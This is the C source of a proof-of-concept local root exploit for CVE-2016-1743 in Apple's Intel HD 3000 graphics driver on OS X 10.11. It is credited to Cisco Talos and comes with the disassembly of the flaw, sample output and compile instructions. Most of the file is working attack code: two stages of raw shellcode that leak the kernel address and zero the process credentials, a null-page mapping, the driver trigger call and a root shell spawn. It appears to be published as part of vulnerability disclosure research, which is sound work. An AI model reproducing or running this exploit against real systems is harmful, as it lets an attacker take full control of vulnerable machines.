/*
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T A L O S V U L N D E V
Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743
Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver
Impact: Local Privilege Escalation (root)
Tested Configuration:
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2
Compilation:
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
kudos:
qwertyoruiop (i've grabbed the lsym thing from you)
technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:000000000001AA4E mov ecx, [rcx]
__text:000000000001AA50 add ecx, ecx
__text:000000000001AA52 sub eax, ecx
__text:000000000001AA54 cmp rbx, rax
__text:000000000001AA57 ja loc_1AC8C
__text:000000000001AA5D mov [rbp+var_54], esi
__text:000000000001AA60 mov rax, [rdi]
__text:000000000001AA63 mov esi, 168h
__text:000000000001AA68 call qword ptr [rax+980h] ; # WE CAN CONTROL THIS #
Expected output:
mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64
mac-mini:bug mini$ ./TALOS-2016-0088_poc
----------------------------------------------------------------
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11
by Piotr Bania / CISCO TALOS
----------------------------------------------------------------
Alloc: deallocating!
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel
MapKernel: kernel mapped
Initializing service
InitService: Trying: Gen6Accelerator
InitService: service ok!
Commencing stage 1
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071
Stage1: Setting up the RIP to 0x00001000
Stage1: Copying trigger data
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000
Stage1: kernel address leaked, success!
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000)
ResolveApi: _current_proc = 0xffffff8022437a60
ResolveApi: _proc_ucred = 0xffffff80223a9af0
ResolveApi: _posix_cred_get = 0xffffff802237e780
ResolveApi: _chgproccnt = 0xffffff80223a8400
Commencing stage 2
Stage2: preparing the stage2 payload
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071
Stage2: Setting up the RIP to 0x00001000
Stage2: Copying trigger data
Stage2: Making stage2 call
Stage2: success, got root!
Stage2: now executing shell
sh-3.2# whoami
root
sh-3.2#
*/
#include "import.h"
/**
defines
**/
#define MEM_SIZE 0x2000
#define PAYLOAD_MEM_START 0x1000
#define INIT_SIG 0x0210010100000008
#define OFFSET_PAYLOAD_EXEC 0x980
#define OFFSET_ROOM 64
#define RESOLVE_SYMBOL_MY(map, name) lsym_find_symbol(map, name) - base + KernelAddr
/**
stage 1 payload - get kernel address and put it to 0x1000
; memory space for kernel address
nop
nop
nop
nop
nop
nop
nop
nop
save_regs64
; get msr entry
mov rcx, 0C0000082h ; lstar
rdmsr ; MSR[ecx] --> edx:eax
shl rdx, 32
or rax, rdx
; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE equ 10000h
KERNEL_SIG equ 01000007FEEDFACFh
PAGE_SIZE equ 1000h
mov rcx, MAX_KERNEL_SCAN_SIZE
and rax, not 0FFFFFh
xor rdx, rdx
mov r8, KERNEL_SIG
scan_loop:
sub rax, PAGE_SIZE
dec rcx
jz scan_done
; is sig correct?
cmp qword [rax], r8
jnz scan_loop
mov rdx, rax
scan_done:
; store the addr - rdx kernel addr, 0 if not found
lea rcx, [shell_start]
mov qword [rcx], rdx
load_regs64
xor rax, rax
xor r15, r15
ret
**/
unsigned char stage1[113] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55,
0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32,
0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25,
0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00,
0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75,
0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F,
0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF,
0xC3
};
/**
stage 2 payload - escalate
jmp over_api_table
api_current_proc dq 0
api_proc_ucred dq 0
api_posix_cred_get dq 0
api_chgproccnt dq 0
over_api_table:
save_regs64
mov rax, qword [api_current_proc]
call rax
mov rdi, rax ; rdi = cur_proc
; system v abi - rdi first arg
mov rax, qword [api_proc_ucred]
call rax
; rax = cur_ucred
mov rdi, rax
mov rax, qword [api_posix_cred_get]
call rax
; rax = pcred
mov dword [rax], 0
mov dword [rax+8], 0
load_regs64
xor rax, rax
xor r15, r15
ret
**/
#define OFF_API_START 2
#define OFF_API_CURRENT_PROC OFF_API_START
#define OFF_API_PROC_UCRED OFF_API_CURRENT_PROC + 8
#define OFF_API_POSIX_CRED_GET OFF_API_PROC_UCRED + 8
#define OFF_API_CHGPROCCNT OFF_API_POSIX_CRED_GET + 8 // not used in this example
unsigned char stage2[111] = {
0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B,
0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF,
0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E,
0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
};
/**
globals
**/
uint64_t mem;
io_connect_t conn;
uint64_t KernelAddr = 0;
lsym_map_t* MappingKernel = 0;
uint64_t api_current_proc = 0;
uint64_t api_proc_ucred = 0;
uint64_t api_posix_cred_get = 0;
uint64_t api_chgproccnt = 0;
/**
functions
**/
uint64_t Alloc(uint32_t addr, uint32_t sz)
{
mach_error_t k_error;
printf("Alloc: deallocating! \n");
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
if (k_error != KERN_SUCCESS)
{
printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
exit(-1);
}
printf("Alloc: vm_allocate ok, now vm_protect ...\n");
k_error = vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx
if (k_error != KERN_SUCCESS)
{
printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
exit(-1);
}
printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
int MapKernel(void)
{
MappingKernel = lsym_map_file("/mach_kernel");
if (!MappingKernel || !MappingKernel->map)
{
MappingKernel = lsym_map_file("/System/Library/Kernels/kernel");
}
if (!MappingKernel || !MappingKernel->map)
{
printf("MapKernel: unable to map kernel, quiting \n");
return -1;
}
printf("MapKernel: kernel mapped \n");
return 1;
}
int ResolveApi(void)
{
uint64_t base = lsym_kernel_base(MappingKernel);
api_current_proc = RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
api_proc_ucred = RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred");
api_posix_cred_get = RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
api_chgproccnt = RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");
printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
printf("ResolveApi: _current_proc = 0x%016llx \n", api_current_proc);
printf("ResolveApi: _proc_ucred = 0x%016llx \n", api_proc_ucred);
printf("ResolveApi: _posix_cred_get = 0x%016llx \n", api_posix_cred_get);
printf("ResolveApi: _chgproccnt = 0x%016llx \n", api_chgproccnt);
return 1;
}
int InitService(char *IoServiceName)
{
int type;
io_service_t service;
CFMutableDictionaryRef matching;
io_iterator_t iterator;
printf("InitService: Trying: %s \n", IoServiceName);
matching = IOServiceMatching(IoServiceName);
if( !matching)
{
printf("Initservice: IOServiceMatching() failed \n");
return -1;
}
if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS)
{
printf("InitService: IOServiceGetMatchingServices failed \n");
return -1;
}
service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL)
{
printf("InitService: IOIteratorNext failed \n");
return -1;
}
type = 0;
conn = MACH_PORT_NULL;
if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS)
{
printf("InitService: IOServiceOpen failed! \n");
return -1;
}
printf("InitService: service ok! \n");
return 1;
}
int Stage1(void)
{
unsigned char *p;
unsigned char *p_ptr;
kern_return_t k_error;
char UselessStruct[4096];
size_t UselessStructSize = 0x14;
p = (unsigned char*)mem;
p_ptr = p + OFFSET_ROOM;
printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));
printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
*(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
printf("Stage1: Copying trigger data \n");
*(uint64_t*)p_ptr = INIT_SIG;
printf("Stage1: Making stage1 call\n");
k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize);
KernelAddr = *(uint64_t*)PAYLOAD_MEM_START;
printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);
if ((KernelAddr == 0) || (KernelAddr == 0x90909090))
{
printf("Stage1: fatal kernel address is wrong, exiting \n");
return -1;
}
printf("Stage1: kernel address leaked, success! \n");
return 1;
}
int Stage2(void)
{
int i;
unsigned char *p;
unsigned char *p_ptr;
kern_return_t k_error;
char UselessStruct[4096];
size_t UselessStructSize = 0x14;
p = (unsigned char*)mem;
p_ptr = p + OFFSET_ROOM;
printf("Stage2: preparing the stage2 payload \n");
unsigned char *t = (unsigned char*)&stage2;
*(uint64_t*)(t + OFF_API_CURRENT_PROC) = api_current_proc;
*(uint64_t*)(t + OFF_API_PROC_UCRED) = api_proc_ucred;
*(uint64_t*)(t + OFF_API_POSIX_CRED_GET) = api_posix_cred_get;
*(uint64_t*)(t + OFF_API_CHGPROCCNT) = api_chgproccnt;
printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));
printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
*(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
printf("Stage2: Copying trigger data \n");
*(uint64_t*)p_ptr = INIT_SIG;
printf("Stage2: Making stage2 call\n");
k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize);
setuid(0);
if (getuid() == 0)
{
printf("Stage2: success, got root! \n");
printf("Stage2: now executing shell \n");
system("/bin/sh");
exit(0);
}
printf("Stage2: failed! \n");
return -1;
}
int main(void)
{
printf(" ---------------------------------------------------------------- \n");
printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n");
printf(" by Piotr Bania / CISCO TALOS \n");
printf(" ---------------------------------------------------------------- \n\n\n");
IOServiceClose(0);
IOServiceOpen(0, 0, 0, 0);
// if this fails and we are done
mem = Alloc(0, MEM_SIZE);
printf("Mapping the kernel \n");
if (MapKernel() == -1)
return -1;
printf("Initializing service \n");
if (InitService("Gen6Accelerator") == -1)
return -1;
printf("Commencing stage 1 \n");
if (Stage1() == -1)
return -1;
if (ResolveApi() == -1)
return -1;
printf("Commencing stage 2 \n");
Stage2();
return 1;
}
